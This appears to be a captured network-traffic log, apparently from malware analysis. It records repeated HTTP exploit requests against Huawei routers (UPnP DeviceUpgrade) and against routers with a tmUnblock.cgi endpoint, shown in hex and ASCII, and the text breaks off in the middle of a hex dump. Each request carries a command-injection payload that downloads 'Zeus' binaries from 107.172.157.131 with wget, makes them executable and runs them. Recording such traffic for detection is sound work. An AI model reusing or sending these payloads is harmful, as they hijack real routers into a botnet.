Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 